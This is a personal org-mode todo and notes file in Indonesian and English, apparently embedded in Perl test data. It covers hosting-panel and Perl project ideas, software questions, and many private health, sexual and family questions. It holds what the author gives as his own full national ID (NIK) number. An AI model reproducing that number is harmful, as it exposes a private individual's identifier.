Wed] command 'spanel check-spanel-updates' (atau 'check-updates' karena 'spanel' sudah in context)\n** IDEA [2014-04-04 Jum] kumpulan snippet bisa disearch, dibrowse dan didownload lewat web interface\n- malah bisa dipake lewat 'spanel nama-script-atau-snippet'? supaya mudah.\n- dikemas dalam modul/komponen.\n- dijaga/diawasi supaya gak mudah orang upload malicious scripts.\n- pengemasannya harus mudah biar banyak yang melakukan.\n- contoh adalah kasus membersihkan /u (saat restore dari backup rebuild server,\n  dikopi semua dari backup sehingga ada banyak yang udah gak ada usernya dan\n  terkopi. utk membersihkan ini cukup mudah tapi butuh semacam for loop gitu.\n- it's better if it's not bash/shell, but perl. but shell is okay too (yang ini\n  gak perlu 'spanel nama-skrip' kali ya...), cukup pas diklik lgs didownload ke\n  /usr/local/sbin/ or something. penamaan kita atur supaya konsisten. sebisa\n  mungkin kita convert-in sih ke perl module + pericmd + rinci metadata biar\n  standardized semuanya.\n** TODO [2014-08-27 Wed] coba instal dovecot + user\n** TODO [2014-08-27 Wed] coba tipe account = virtual (hanya record di database)\n- pakai untuk menggantikan semua tipe lainnya?\n- mysql? harus bisa sqlite juga utk yg very lightweight case, mis di server dns\n  yang usernya cuma 1-2.\n** TODO [2014-08-27 Wed] coba instal horde sebagai pengganti squirrelmail *dan* roundcube\n** BUG [2014-06-19 Thu] list-volumes kadang2x die\n- kayakna gara2x cache disk usage yg kemaren? kalo dicoba pertama kali die, tapi\n  udah gitu sukses terus.\n** FIXED [2014-05-02 Jum] network error 52 dari modul server whmcs spanel (ke server2x hosting tertentu aja)\n- gw curiga ini gara2x koneksi atau sertifikat ssl ip-nya gak sama dengan ip utama\n- log ::\n  + [2014-06-19 Thu] fixed seminggu yg lalu, ini gara2x ada yg die di kode perl\n** BUG [2014-05-02 Jum] web interface: ekstrak .tar.gz kadang gak muncul menunya (lihat laporan klien di tiket/forum)\n* proj/site/hyt.org [0/0]\n** TODO [2013-12-06 Jum] setup steven.masterweb.com -> steven.haryanto.org di vps digitalocean\n- DONE pindahin data\n-\n** TODO [2013-12-06 Jum] setup haryanto.org di vps digitalocean\n* proj/wp-parole [0/0]\n** TODO [2014-12-19 Fri] wp-parole: by default setup dg protect admin dari 2 ip aja.\n\n** IDEA [2014-10-10 Fri] pastikan aplikasi (wp) terupdate terus\n- kalo gagal update otomatis, flag, dan ban otomatis dalam waktu 1 bulan\n  (configurable)\n- cek versi dengan lebih teliti, jangan gampang dikibulin dengan ganti satu\n  variable doang.\n- cek versi plugin juga\n* q/00unorganized/from old todos\n** business\n*** TODO negotiation techniques (jangan sampai tragedi jual rumah murah kejadian lagi)\n** cpanel\n- [2012-08-24 Fri] gimana cara ngubah php dari pake mod_suphp jadi mod_php/dso?\n  + apakah semudah lewat whm aja?\n** datacenter\n- hot aisles vs cold aisles, untuk apa?\n- kelembapan optimal?\n** econ\n- kenapa healthcare dan education jadi 2 hal yang sangat mahal di capitalism?\n** finance\n- [2012-08-17 Fri] batas/prosedur penjualan dan pembelian reksadana (harga jam\n  berapa ditentuinnya)\n** food/culinary\n** health\n*** TODO [2014-01-04 Sab] q: how to strengthen your knee\n*** TODO [2013-11-15 Jum] q: cara menghilangkan stretch mark\n*** TODO [2013-10-16 Rab] q: kenapa suster2 (terutama yg cowo) itu gak ada yg tua di rsim?\n- pada \"pensiun\" muda kali ya? umur 35 udah pada drop out semua, digantikan oleh\n  yang muda. pertanyaannya, pada ke mana ya? jadi private nurse, atau pindah ke\n  jalur lain?\n*** TODO [2013-04-12 Fri] gum recession\n*** TODO [2013-04-02 Tue] lendir di dalam melon/pepaya itu bagus gak? perlu dibuang?\n*** TODO [2013-04-02 Tue] bad knee? crackling knee?\n*** TODO [2012-09-27 Thu] apakah makan garam kalium sejak muda itu bagus?\n*** TODO [2012-09-14 Fri] posisi rest gigi itu ngigit, nyentuh, atau gak?\n*** TODO [2012-09-03 Mon] meringankan/menghilangkan kokoloteun (buat mama)\n*** TODO [2012-08-22 Wed] adopsi sebaiknya co/ce?\n*** TODO [2012-08-22 Wed] kenapa sulit hamil di atas 35th?\n*** TODO [2012-08-22 Wed] tabel prevalence penyakit\n*** TODO [2012-08-22 Wed] types of cough + mp3\n*** TODO [2012-08-22 Wed] standing computer\n*** TODO [2012-08-22 Wed] marriage test (kata pak muliawan di kateks pranikah, ada tes\n  untuk kecocokan marriage, kalo fail test ini, hampir dapat dipastikan gak akan\n  bertahan).\n*** TODO [2012-06-18 Mon] supaya gigi udah tua gak keropos\n*** TODO [2012-06-18 Mon] beda suhu antara bandung utara vs bandung tengah/selatan?\n*** TODO teknik bedah syaraf mikro?\n*** TODO apa manfaat cordysep?\n*** TODO [2012-06-13 Wed] how to preserve myellium (ini lapisan lemak yang ada di otak\n  yg mengerut waktu kita udah tua, sehingga massa otak berkurang, bukan terutama\n  karena sel neuron pada mati ternyata otak mengerut itu).\n*** TODO [2012-06-13 Wed] (again :) how to reduce love handle\n*** TODO [2012-06-15 Fri] efek side sleeper terhadap bentuk bodi? posture?\n** investment\n*** TODO [2013-09-21 Sab] q: nama apartemen di sebelah plaza semanggi?\n** mwn\n*** TODO [2013-10-16 Rab] q: nia/forumi: manulife include apa aja sih? (kehamilan/persalinan)\n** other\n- [2012-06-18 Mon] peraturan lalu lintas indo dan luar\n- [2012-06-18 Mon] the art of conversation (i want more intelligent discussion,\n  becoming more witty and expecting witty answers from people; perhaps search on\n  youtube too?)\n- [2012-06-16 Sat] some pointers/tips on better telling a story (not just the\n  specific storytelling art, but telling stuffs in general [stories, talking,\n  marketing/presentation, conversation]\n- [2012-06-01 Fri] how to spend money wisely? mis gw punya X milyar, umur gw Y,\n  sebaiknya spend ke mana aja?\n- [2012-02-21 Tue] struktur NIK (yg gw misalnya: 327310 101275 0001, mirip2x pbb\n  ya kode wilayahnya? jadi perubahan kode wilayah aja? coba cek nik vs no ktp utk\n  papa, mama, tomi, dll)\n- berapa efek basal metabolism meningkat?\n- android app yang pake accelerometer (live wallpaper, ...)\n- no poo/no soap: what about germs?\n- besar komisi dokter di prodia/lab. siapa prodia itu?\n- film remaja realistis: yang banyak mereka masturbasi :) [because although it's\n  embarassing, it's still the truth. gw pernah liat film prancis satu yang cewe\n  masturbasi di kamarnya gelap2, but that's it]\n- [2012-02-05 Sun] benefit of deploying using git, tools?\n- why fixed income after retirement, it's so inhumane?\n- [2011-11-11 Fri] latihan otot2 kaki, pinggang (penting kalo dah tua) dan\n  punggung (gedein)\n- [2012-02-08 Wed] perpuluhan di gereja, siapa yang boleh lihat, ...\n- [2012-02-08 Wed] kick swim 6 beat\n\n** perl\n*** TODO [2013-11-12 Tue] q: perl: how to subclass a non-Moo class? (gw ingin subclass + consume some roles)\n- kasus: di app-riap gw subclass dari Term::Shell. lalu gw juga ingin 'with\n  \"SHARYANTO::Role::ColorTheme\"' untuk menambahkan color theme support. role itu\n  pakai Moo::Role.\n- kalo di Moose: \"You can use Moose to extend a non-Moose parent. However, when\n  you do this, you will inherit the parent class's constructor (assuming it is\n  also called new). In that case, you will have to take care of initializing\n  attributes manually, either in the parent's constructor, or in your subclass,\n  and you will lose a lot of Moose magic.\" pake MooseX::NonMoose,\n  MooseX::NonMoose::InsideOut.\n*** TODO [2013-11-04 Sen] q: perl: stringification of Regexp object yang kompatibel di 5.14 maupun 5.10\njadi walaupun kita produce Data::Sah schemas di perl 5.14, tetap bisa dipake di\nperl 5.10.\n*** TODO [2013-10-19 Sab] q: perl: cari pod weaver plugin yg add section EXPORTS\n- dengan membaca \@EXPORT* (jika pakai Exporter), atau baca Sub::Exporter\n  information, atau from tags in Rinci metadata (if using Perinci::Exporter).\n** pet\n*** DONE [2013-11-04 Sen] q: anjing dikasih fruit bagus? (berhub dg gigi?)\n- DONE [2013-11-11 Sen] udah browsing, jawabannya ok. liat notes/pet.org\n** pregnancy\n*** TODO [2014-01-21 Tue] q: kenapa nursing inhibits ovulation?\n*** TODO [2014-01-21 Tue]\n** programming\n*** TODO [2014-03-19 Wed] q: how to become more effective programmer? how to plan coding? (books)\n** psychology\n*** TODO [2014-01-16 Thu] q: kursus online educational psychology\n- katanya di sini diajarin teknik note-taking (mengatur area di atas kertas),\n  dan studying yang benar, termasuk juga cara mengingat, dsb.\n*** TODO [2014-01-16 Thu] q: managing facial expression (seperti alexander or body language utk wajah)\n*** TODO [2013-12-25 Rab] q: managing sexual needs/desire (libido)?\n- libido itu bisa ditekan (gak akan sampe mati orang kalo menekan libido) atau\n  dialihkan (transmutasi) ke energi kreatif seperti arts. ini salah satu jawaban\n  gw kayaknya ya, walaupun awal2nya mungkin gak enak, tapi energi seks itu kunci\n  juga untuk level energi gw yg memang secara rata2x rendah.\n- jadi, begitu gw mulai merasa horny, justru di situlah gw harus sadar bahwa\n  energi ini harus digunakan utk semangat bikin program or sejenisnya, bukan\n  dispent begitu saja dg sia2x lewat coli (kecuali kalo memang mau ml dengan\n  liana). dengan begitu lebih untung kan?\n*** TODO [2013-12-25 Rab] q: managing addiction?\n- gw sebenernya punya addictive personality, walau mungkin gak ekstrem.\n** science\n- [2012-06-18 Mon] i'm fascinated with nerves (ratusan s.d. ribuan axon yg\n  menjulur panjaaaaang banget, bisa sampe dari otak ke ujung kaki). berarti sel\n  yg besar sekali (at least \"kaki\"-nya). apakah bisa direpair kalo putus?\n  gampangkah putus (kalo dimassage keras2x), lewat mana jalurnya? kalo bisa\n  direpair, berapa lama tumbuhnya lagi? and etc about these nerve.s\n** social\n** sports\n- [2012-06-18 Mon] jump rope tips\n** tech\n*** FAILED [2014-04-07 Mon] q: cli tool utk graph (pake keyword 'chart') (either di terminal atau browser)\n- contoh, gw punya data di notes/data/celine-dion-album-sales.pl, pengen gw liat visually\n- kalo utk data table sih gw udah punya 'pretty', tinggal:\n: dd2json celine-dion-album-sales.pl | pretty\n: pretty -i perl mariah-carey-album-sales.pl\n- log:\n  + [2014-04-10 Kam] belum nemu, jadi gw bikin App::chart sementara. yg ada\n    graph-easy (cli utk bikin dot-style graphs), trus ada asciio (graphical,\n    buat bikin gambar dari ascii objects, kayak visio; hence the name)\n*** TODO [2014-03-12 Wed] q: more efficient note taking techniques (cari bukunya jg?)\n*** TODO [2013-01-16 Wed] q: how to apply different page autoupdate/ajax autoupdate depending on whether the page is in view or not\n- jika di background, perjarang aja autoupdate, mis: 1 menit, 2 menit, 10 menit, ...\n- jika di foreground, laksanakan autoupdate lebih sering\n- lebih bagus lagi sebetulnya jangan polling tapi push aja (seperti di gmail)\n- dan kalau gak bisa reach karena server overload atau masalah koneksi, juga\n  beri indikator.\n*** TODO [2012-06-20 Wed] q: kenapa HP ganti2x model printer terus? p1022, p1102, kayaknya tiap tahun ada aja.\n*** TODO q: how to do autoupdate in debian?\n*** IDEA [2014-02-28 Fri] q: ada lowongan di spaceX, tesla?\n- baca2x tentang elon musk, kagum\n*** TODO [2014-02-17 Sen] q: org-mode: how to show number of uncompleted todo items inside a headline\nfor example:\n: * foo (3)\n: ** DONE todo1\n: ** TODO todo2\n: ** TODO todo3\n: ** TODO todo4\n*** TODO [2013-10-31 Kam] q: how to write license checking routine\n*** TODO [2013-10-31 Kam] 2co: license checking libraries selain yg dari whmcs (preferably C-based)\n*** TODO [2013-10-31 Kam] q: how to count cpu usage of function?       :perl:\n*** TODO [2013-10-15 Sel] q: how to decode ioncube encoded files?\n*** TODO [2013-10-11 Jum] q: block some queries by pattern in mysql (or postgres)\n- motivasinya utk melindungi whmcs\n- kita hidupkan query log, tapi kita juga ingin reactive protection, kalo kita\n  lihat pola2x tertentu misalnya, tiba2x ada yg SELECT tabel tertentu.\n- atau kita ingin protek jangan ada yg mengganti kolom tertentu\n- kalo bisa sih ada fitur block/deny query tertentu\n*** TODO [2013-04-02 Tue] q: note taking skills?\n*** TODO [2013-03-01 Fri] q: modul perl/whatever utk mempermudah alter table/schema migration utk sqlite?\n*** TODO [2012-10-19 Fri] q: perl: how to make prove exit early after the first failed test? (exit the test script, or exit the whole run)\n*** TODO [2012-08-22 Wed] q: how cpanel protects its source code?\n** tech (saat ini gak bisa)\n*** WISHLIST [2014-03-30 Sun] gwenview: matiin transition effect saat view images (annoying/bikin lambat)\n* q/d [1/1]\n** DONE [2014-07-18 Fri] latihan bikin something like text::table::tiny, and benchmark it against perl's implementations\n* q/etc [1/14]\n** TODO [2015-04-01 Rab] q: permainan kata di komik asterix prancis\n** TODO [2015-02-22 Sun] q: analisis rating/tipe/struktur/subgenre/detil sitcom2x dan acara tv\n** DONE [2015-02-16 Sen] q: akun twitter yang isinya ideas\n- log ::\n  + [2015-02-16 Sen] follow: ReallyGoodIdeas, googleideas,\n** TODO [2015-02-18 Wed] q: how would {elon musk, bill gates, ...} {plan their day, execute their plans, work with their computers, ...}\n** TODO [2014-07-24 Thu] q tax loopholes\n** TODO [2014-10-07 Tue] q how to live minimally\n** TODO [2014-08-27 Wed] q buku2 ttg introvert (eesep sukses, personality, psych)\n** TODO [2014-08-27 Wed] Q buku2 being qitty, sharp, quick retort\n** TODO [2014-08-27 Wed] Q buku cara jd standup comedian\n** TODO [2014-08-27 Wed] q upacara d negara lain\n** TODO [2014-08-27 Wed] 2watch: docu: autopsy - life n death\n** TODO [2014-12-03 Wed] q: how to be more flexible (physically)\n** TODO [2014-12-19 Jum] q: how to remove toilet ceramic stain line?\n** TODO [2014-08-27 Wed] q: why land with tree is stronger, gak kena longsor, kenapa lahan gundul lebih rentan?\n** TODO [2014-08-27 Wed] q: chinese/french for: pita suara, longsor, land fill, pepohonan\n* q/emacs [0/0]\n** TODO [2015-01-05 Sen] q: orgmode: how to sort headlines/todo items by {priority, date, ...}\n** TODO [2014-12-28 Sun] q: how to make emacs complete (select file) case-insensitively?\n** DONE [2015-01-08 Thu] q: kenapa emacs gw jadi ga mau replace selection with a typed character lagi ya, jadi gw harus ctrl-w, annoying\ndelete-selection-mode\n\nsebenernya udah aktif kok, cuma kayaknya bug, kalo gw nonaktifkan dan aktifkan\nlagi, baru jadi bener lagi.\n* q/health [0/1]\n** TODO [2015-01-16 Jum] q: why do gums recede? is it mostly the way one brushes her teeth? food? smoking? etc?\n** TODO [2014-11-13 Thu] q: how to improve erection quality?\n** TODO [2013-02-02 ] q: why is thyrozol so cheap?\n** TODO [2013-12-06 Jum] q: bagaimana menghindari risiko fracture bone senior?\n- gw bakal riskan deh, soalnya gw suka tijalikeuh kalo jalan, di sisi luar\n  pinggir kaki gw\n** TODO [2014-10-27 Mon] q: guna folic acid supplement buat cowo?\n** TODO [2014-06-13 Fri] q: bagaimana memperbesar upper body\n- penampilan gw jelek karena upper body kecil, kempes. padahal perut udah\n  melebar, jadi bentuknya gak V melainkan pear :p\n* q/linux [0/0]\n** DONE [2014-11-21 Fri] q: timeout screensaver yg berbeda utk tiap virtual desktop?\n- misalnya virtual desktop atau workspace tertentu lebih sensitif, jadi perlu\n  dihide lebih cepat.\n- keliatannya gak ada. paling persingkat aja screensaver time nya (jadi 1-3\n  menit misalnya; dan nanti saat mainin mplayer bisa kita perpanjang manual).\n- tapi kayaknya gak susah kok kalo mau, asal ada bantuan dari window manager\n  (run a command jika window tertentu aktif). utk mengeset timeout xscreensaver,\n  edit baris \"timeout: ...\" di ~/.xscreensaver lalu killall -HUP xscreensaver.\n** DONE [2015-01-10 Sat] q: can a program detect what program is on the other side of a pipe?\n- log ::\n  + [2015-01-10 Sat] i've created Pipe::Find for this, intinya menggunakan\n    /proc/*/fd dan membandingkan yang matching sama2x pipe:* dan kodenya sama.\n    currently only works on linux though.\n* q/mama [0/0]\n* q/ocaml [2/2]\n** CANCELLED [2014-07-15 Tue] q: bagaimana melihat dokumentasi ocaml (diproduce dg ocamldoc biasanya)\n- coba 'man foo' ga bisa, ada juga sih sebagian modul yg produce manpagenya tapi\n  gak semua.\n- log ::\n  + [2014-07-17 Thu] cancel, lost interest in ocaml\n** CANCELLED [2014-07-15 Tue] q: konvensi version numbering\nbanyak banget yang 111.xx.yy, trus naik 2-2 (mis: dari 109).\n- log ::\n  + [2014-07-17 Thu] cancel, lost interest in ocaml\n* q/perl [0/1]\ncompare python's subprocess vs ipc::run/cmd\n** TODO [2014-04-14 Mon] q: pure-perl text compression module?\n** DONE [2014-09-21 Sun] q: is there a wantobject like wantarray?\ni want to make:\n: \$a = foo('blah'); # returns 'myname'\n: \$a = foo('blah')->name; # works too\n: foo('blah')->delete; # works too\n- log ::\n  + [2014-09-25 Thu] asked to pm, dijawab sendiri, jawabannya dengan modul CPAN\n    Want: if (want(\"OBJECT\")) { ... }\n** TODO [2014-05-06 Sel] q: can we store computed Marpa grammar, to save startup time?\n** TODO [2014-10-10 Jum] q: is there a way to refer to phase blocks (e.g. END block #1 in Foo::Bar, etc)?\ni know \"perlsub\" says that you can *not* call these directly, but i'm just\nwondering if there is a CPAN module to do this? i'm not solving a particular\nproblem.\n** TODO [2014-10-10 Jum] q: use-case/real-world examples of UNITCHECK, (and INIT, ...)\nbisa ngecek cpan grep.\n* q/tech [0/0]\n** TODO [2015-04-04 Sab] q: ada gak sih client stardict cli, sebel pake stardict gui harus pake mouse aja trus gak enak lagi interfacenya\n- pindah2x tab ga bisa, harus pake mouse\n- saat lagi di tab definition/content, satu huruf aja udah langsung menghapus\n  entri yang ada dan kereset halaman contentnya\n- gak ada history back\n** DONE TODO [2015-03-10 Tue] q: i wonder why, in log rotating, we have to rename old.1 -> old.2, old.2 -> old.3 and so on\n- self-answer :)\n- why can't things increase as we go newer, e.g. old.0001, old.0002, dst. atau\n  jika berbasis date, old.201501, and so on.\n- ada overflow problem, tapi plus-nya adalah: saat sinkronisasi mengkopi file ke\n  backup/other devices jadi lebih efisien.\n** TODO [2015-01-07 Wed] q: dokumentasi fungsi _arguments zsh, especially how to add description for each value (kalo utk option sih gampang descriptionnya, tinggal pake -o[description])\n** TODO [2014-12-03 Wed] q: which is safer small cars or bigger cars. big cars hv larger momentum for when brradu dg mobil lain. tp saat beradu dg trmbok it has to impart bigger momentun to stop. mnurut statistik mana yg lbh safe?\n** TODO [2014-12-19 Jum] q: COMP_TYPE selain 9 (TAB) dan 63 ('?') ada juga ! (partial word completion), \@ (if unmodified), % (menu). dipake di mana?\n** TODO [2014-12-19 Jum] q: bash: menu completion seperti apa?\n** CANCELLED [2012-02-05 Sun] q: mobil mazda 2\n- log ::\n  + [2015-01-05 Sen] cancel, lost interest dan udah kelamaan/ga relevan, dan\n    lagi gak jelas apa yang mau diresearch/ditanyakan\n** DONE [2015-01-04 Min] q: how to make completion in mc case-insensitive?\n- log ::\n  + [2015-03-10 Tue] done, jawabannya lewat opsi Panel Options > Quick search\n    (o) case insensitive.\n** DONE [2015-01-04 Min] q: how to make completion in emacs case-insensitive?\n- log ::\n  + [2015-03-10 Tue] done, jawabannya (setq read-file-name-completion-ignore-case t)\n** TODO [2015-01-04 Sun] q: what's in CLDR (common locale data repository)\n- ada modul perl-nya btw, Locale::CLDR\n** TODO [2014-12-14 Sun] q: tool cli utk search & download subtitle, lirik\n- gw capek browse situs abal2x\n\n** TODO [2014-10-07 Tue] q functional reactive programming\n",
    is_done => 0,
    is_todo => 1,
    level => 2,
    match => "/(\\QPerinci-Sub-Gen-AccessTable\\E|\\Qperisgen-acctbl\\E)(, \\S+)*:/",
    parent_match => "proj/perl",
    with_content => 1,
    with_preamble => 0,
  }

* TODO perisgen-acctbl: generate fungsi utk insert and/or update
* TODO perisgen-acctbl: generate fungsi utk delete
* IDEA [2012-07-04 Wed] perisgen-acctbl: operasi antartable/filtering

  - theme: leverage table (a basic, simple, but powerful data form)
  - example: provide virtual columns
  - join?

* IDEA [2012-07-04 Wed] perisgen-acctbl: metadata/"css" for table

  - theme: leverage table (a basic, simple, but powerful data form)
  - table spec udah mendefinisikan
  - utk tampilan bisa ditambah some more visual clues, e.g. lebar kolom, perataan kiri/kanan, borders, colors, ...
  - udah ke arah form/grid (borang)

* TODO [2012-11-09 Fri] perisgen-acctbl: generate argumen str.starts_with utk optimasi pencarian

  selain str.contains. kalo mau, sekalian juga str.ends_with. diperlukan oleh tab
  completion misalnya.

* TODO [2012-11-08 Thu] perisgen-acctbl: each argument should be given schema from field spec

  for example:

          table_spec => {
              fields => {
                  id => {
                      index      => 0,
                      schema     => ['str*' => {
                          match => $deb_re,
                      }],
                      searchable => 1,
                  },
                  ...
              },
              pk => 'id',
          },
  maka argument seperti 'id.min' harusnya juga schema [str* => match => $deb_re].
  apa ini sudah dilakukan ya?
  

* BUG [2013-12-14 Sab] pericmd, perisgen-acctbl: setlocale berisik n gagal (see CT)
* IDEA [2014-03-29 Sab] perisgen-acctbl: provide cmdline_aliases for --detail (or other generated args)

  i often find myself typing 'list-perl-releases -l' like it was ls.
  
  sementara udah gw tambahin ad-hoc aja di list-perl-releases.

* IDEA [2014-09-21 Sun] perisgen-acctbl: selain paging menggunakan result_start dan result_limit, bisa juga menggunakna result_max_id

  ini adalah ID-based paging, tiddak berdasarkan resultset slicing (yang tidak
  efisien), contohnya dipakai di twitter.

* IDEA [2014-06-29 Sun] perisgen-acctbl: di table spec, ada tabel yg by default gak dishow saat detail, mis karena terlalu panjang

  contoh di App::ListSoftwareLicenses, fulltext gak dishow saat --detail tapi bisa
  dishow misalnya dengan (imagined, not yet implemented)
  --view-name=with_fulltext, atau bisa juga dnegan --with-FIELD_NAME (mirip
  seperti di Configure script ya). i prefer the second, soalnya yg former bisa
  kompleks.

* TODO [2014-04-29 Sel] perisgen-acctbl: compile/optimize filter  :optimize:

  - kayaknya kalo harus melakukan ribuan request per second, akan keliatan deh
    leletnya, apalagi saat ini setelah tipe date ditambahkan, jumlah operator dan
    if cases jadi banyak.
